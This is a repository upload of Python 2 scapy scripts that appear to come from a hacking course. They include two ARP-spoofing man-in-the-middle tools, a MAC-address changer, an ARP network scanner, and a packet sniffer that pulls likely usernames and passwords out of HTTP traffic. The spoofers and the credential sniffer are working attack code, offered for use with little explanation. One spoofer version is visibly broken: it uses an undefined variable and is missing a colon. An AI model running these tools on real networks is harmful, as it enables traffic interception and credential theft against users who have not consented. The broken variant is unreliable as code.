Uploaded

Author: root

arp_spoof-refine.py

@@ -0,0 +1,91 @@
+#!/usr/bin/python2
+
+import scapy.all as scapy
+import time
+import sys
+import argparse
+
+def get_ip():
+
+	parser=argparse.ArgumentParser()	
+	parser.add_argument("-t","--target",dest="victim",help="Specify Victim IP addres")
+	parser.add_argument("-s","--spoof",dest="spoof",help="Specify Spoofing IP addres")
+	options = parser.parse_args()
+
+	if not options.victim:
+		parser.error("[-] Specify an IP Address for victim --help for more details")
+	
+	if not options.spoof:
+		parser.error("[-] Specify an IP Address for spoofing --help for more details")
+
+	return options
+
+ip = get_ip()
+
+target_ip = ip.victim
+gateway_ip = ip.spoof
+
+def getmac_all(ip_range):
+	
+	arp_request_header = scapy.ARP(pdst = ip_range)
+	ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
+	arp_request_packet = ether_header/arp_request_header
+	answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
+	
+	#return  answered_list[0][1].hwsrc
+	clients_list = []
+
+	for elements in answered_list:
+		#client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
+		client_dict = {elements[1].psrc:elements[1].hwsrc}
+		clients_list.append(client_dict)
+	
+	return clients_list
+
+ip_mac = getmac_all(ip_range)
+#ip_mac = getmac_all("192.168.43.1/24")
+print ip_mac
+
+def getmac(ip_addr):
+	for items in ip_mac:
+		if ip_addr in items.keys()
+			mac_addr = items[ip_addr]
+			return mac_addr
+
+
+def spoof(target_ip,spoof_ip):
+
+	dst_mac = getmac(target_ip)
+	
+	arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=spoof_ip)
+	scapy.send(arp_respond,verbose=False)
+
+def restore(target_ip,gateway_ip):
+
+	dst_mac=getmac(target_ip)
+	src_mac=getmac(gateway_ip)
+	arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=gateway_ip,hwsrc=src_mac)
+	scapy.send(arp_respond,verbose=False,count=4)
+
+count = 0
+
+try:
+	while True:
+
+		spoof(target_ip,gateway_ip)
+		#telling client i am the router
+		spoof(gateway_ip,target_ip)
+		#telling router i am the client
+		count = count + 2
+		print "\r[+] send two packets "+str(count),
+		sys.stdout.flush()
+		time.sleep(1)
+
+except KeyboardInterrupt:
+
+		print "\n[+] Detected CTRL+C Quitting and restoring arp value please wait"
+		
+		restore(target_ip,gateway_ip)
+		#restoring client
+		restore(gateway_ip,target_ip)
+		#restoring router

arp_spoof.py

@@ -0,0 +1,73 @@
+#!/usr/bin/python2
+
+import scapy.all as scapy
+import time
+import sys
+import argparse
+
+def get_ip():
+
+	parser=argparse.ArgumentParser()	
+	parser.add_argument("-t","--target",dest="victim",help="Specify Victim IP addres")
+	parser.add_argument("-s","--spoof",dest="spoof",help="Specify Spoofing IP addres")
+	options = parser.parse_args()
+
+	if not options.victim:
+		parser.error("[-] Specify an IP Address for victim --help for more details")
+	
+	if not options.spoof:
+		parser.error("[-] Specify an IP Address for spoofing --help for more details")
+
+	return options
+
+ip = get_ip()
+
+target_ip = ip.victim
+gateway_ip = ip.spoof
+
+def getmac(ip):
+	
+	arp_request_header = scapy.ARP(pdst = ip)
+	ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
+	arp_request_packet = ether_header/arp_request_header
+	answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
+	
+	return  answered_list[0][1].hwsrc
+
+
+def spoof(target_ip,spoof_ip):
+
+	dst_mac = getmac(target_ip)
+	
+	arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=spoof_ip)
+	scapy.send(arp_respond,verbose=False)
+
+def restore(target_ip,gateway_ip):
+
+	dst_mac=getmac(target_ip)
+	src_mac=getmac(gateway_ip)
+	arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=gateway_ip,hwsrc=src_mac)
+	scapy.send(arp_respond,verbose=False,count=4)
+
+count = 0
+
+try:
+	while True:
+
+		spoof(target_ip,gateway_ip)
+		#telling client i am the router
+		spoof(gateway_ip,target_ip)
+		#telling router i am the client
+		count = count + 2
+		print "\r[+] send two packets "+str(count),
+		sys.stdout.flush()
+		time.sleep(1)
+
+except KeyboardInterrupt:
+
+		print "\n[+] Detected CTRL+C Quitting and restoring arp value please wait"
+		
+		restore(target_ip,gateway_ip)
+		#restoring client
+		restore(gateway_ip,target_ip)
+		#restoring router

macchanger.py

@@ -0,0 +1,49 @@
+#!/usr/bin/python2
+
+import argparse
+import subprocess
+import re
+
+def get_argument():
+
+	parser=argparse.ArgumentParser()	
+	parser.add_argument("-i","--interface",dest="interface",help="Specify Interface to change the MAC")
+	parser.add_argument("-m","--macaddr",dest="macaddr",help="Specify MAC address to change")
+	options = parser.parse_args()
+
+	if not options.interface:
+		parser.error("[-] Specify an Interface use python macchanger --help for more details")
+	elif not options.macaddr:
+		parser.error("[-] Specify an MacAddr use python macchanger --help for more details")
+
+	return options
+
+def macchanger(interface,macaddr):
+
+	subprocess.call(["ifconfig",interface,"down"])
+	subprocess.call(["ifconfig",interface,"hw","ether",macaddr])
+	subprocess.call(["ifconfig",interface,"up"])
+
+	print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
+
+def getmac(interface):
+
+	ifconfig_result = subprocess.check_output(["ifconfig",interface])
+	current_mac = re.findall(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",ifconfig_result)
+
+	if current_mac:
+		return current_mac[0]
+	else:
+		return None
+
+
+options = get_argument()
+
+macchanger(options.interface,options.macaddr)
+
+final_mac = getmac(options.interface)
+
+if final_mac == options.macaddr:
+	print "Mac Address Successfully Chaged with new one %r"%final_mac
+else:
+	print "Error Occured Fix It"

network-scanner.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python2
+
+import scapy.all as scapy
+import argparse
+
+def get_ip_range():
+
+	parser=argparse.ArgumentParser()	
+	parser.add_argument("-r","--range",dest="ipadrr",help="Specify an IP Address or a range of IP Address")
+	options = parser.parse_args()
+
+	if not options.ipadrr:
+		parser.error("[-] Specify an IP Address or a range of IP Address --help for more details")
+
+	return options
+
+def scan(ip):
+	
+	arp_request_header = scapy.ARP(pdst = ip)
+	ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
+	arp_request_packet = ether_header/arp_request_header
+	answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
+
+	clients_list = []
+	for elements in answered_list:
+		client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
+		clients_list.append(client_dict)
+	
+	return clients_list
+
+def print_result(result_list):
+
+	print "\nIpAdrr\t\t\tMacAddr"
+	print "------------------------------------------"
+	for client in result_list:
+		print client['ip'],"\t\t",client['mac']
+
+ip = get_ip_range()
+
+scan_result = scan(ip.ipadrr)
+
+print_result(scan_result)
+
+print "------------------------------------------"

packet_sniffer-final.py

@@ -0,0 +1,48 @@
+#!/usr/bin/python2
+#filtering with 3 rd party module scap_http for request method
+#filter only creditials which contains login, username, password as keyword
+#extracting urls
+#refining the program
+
+
+import scapy.all as scapy
+from scapy.layers import http
+import argparse
+
+parser=argparse.ArgumentParser()	
+parser.add_argument("-i","--interface",dest="interface",help="Specify an interface to capture packets")
+options = parser.parse_args()
+
+def sniff(interface):
+
+	scapy.sniff(iface = interface, store = False, prn = process_sniffed_packet,filter = "port 80" or "port 443")
+
+def geturl(packet):
+ 
+	return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
+
+def get_login_info(packet):
+	if packet.haslayer(scapy.Raw):
+		load = packet[scapy.Raw].load
+		keywords = ['login','LOGIN','user','pass','username','password','Login']
+
+		for keyword in keywords:
+			if keyword in load:
+				return load
+
+def process_sniffed_packet(packet):
+
+	if packet.haslayer(http.HTTPRequest):
+		#print packet.show()
+		
+		url=geturl(packet)
+		print "[+]HTTPRequest > "+ url
+
+		logininfo = get_login_info(packet)
+
+		if logininfo:
+			print "\n\n[+]Possible username and password "+ logininfo+"\n\n"
+
+		
+			
+sniff(options.interface)

zaid/1 mac_changer/getmac.py

@@ -0,0 +1,11 @@
+#!/usr/bin/python2
+
+import subprocess
+import re
+
+ifconf = subprocess.check_output(["ifconfig","enp2s0"])
+print ifconf
+
+mac = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",ifconf)
+
+print mac.group(0)

zaid/1 mac_changer/macchanger-1.py

@@ -0,0 +1,7 @@
+#!/usr/bin/python2
+
+import subprocess
+
+subprocess.call("ifconfig enp2s0 down",shell=True)
+subprocess.call("ifconfig enp2s0 hw ether 00:11:22:33:44:55",shell=True)
+subprocess.call("ifconfig enp2s0 up",shell=True)

zaid/1 mac_changer/macchanger-2.py

@@ -0,0 +1,17 @@
+#!/usr/bin/python2
+'''
+Storing the interface and mac addr to a variable and 
+then pass the value to the command directly
+'''
+
+import subprocess
+
+interface = "enp2s0"
+macaddr = "00:11:22:33:44:55"
+
+print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
+
+
+subprocess.call("ifconfig %s down"%interface,shell=True)
+subprocess.call("ifconfig %s hw ether %s"%(interface,macaddr),shell=True)
+subprocess.call("ifconfig %s up"%interface,shell=True)

zaid/1 mac_changer/macchanger-3.py

@@ -0,0 +1,17 @@
+#!/usr/bin/python2
+'''
+Getting the value for  the interface and mac addr to a variable and 
+then pass the value to the command directly
+'''
+
+import subprocess
+
+interface = raw_input("Interface> ")
+macaddr = raw_input("MacAddr> ")
+
+print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
+
+
+subprocess.call("ifconfig %s down"%interface,shell=True)
+subprocess.call("ifconfig %s hw ether %s"%(interface,macaddr),shell=True)
+subprocess.call("ifconfig %s up"%interface,shell=True)

zaid/1 mac_changer/macchanger-4.py

@@ -0,0 +1,22 @@
+#!/usr/bin/python2
+'''
+Getting the value for  the interface and mac addr to a variable and 
+then pass the value to the command directly
+secure code
+handling user input if the user put ; or && to execute another command 
+it will stop by removin the shell=True single string commmand
+rather we remove the shell=True and exec the computer and get command 
+in a list variable one by one which will avoid this user-input manipulation
+'''
+
+import subprocess
+
+interface = raw_input("Interface> ")
+macaddr = raw_input("MacAddr> ")
+
+print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
+
+
+subprocess.call(["ifconfig",interface,"down"])
+subprocess.call(["ifconfig",interface,"hw","ether",macaddr])
+subprocess.call(["ifconfig",interface,"up"])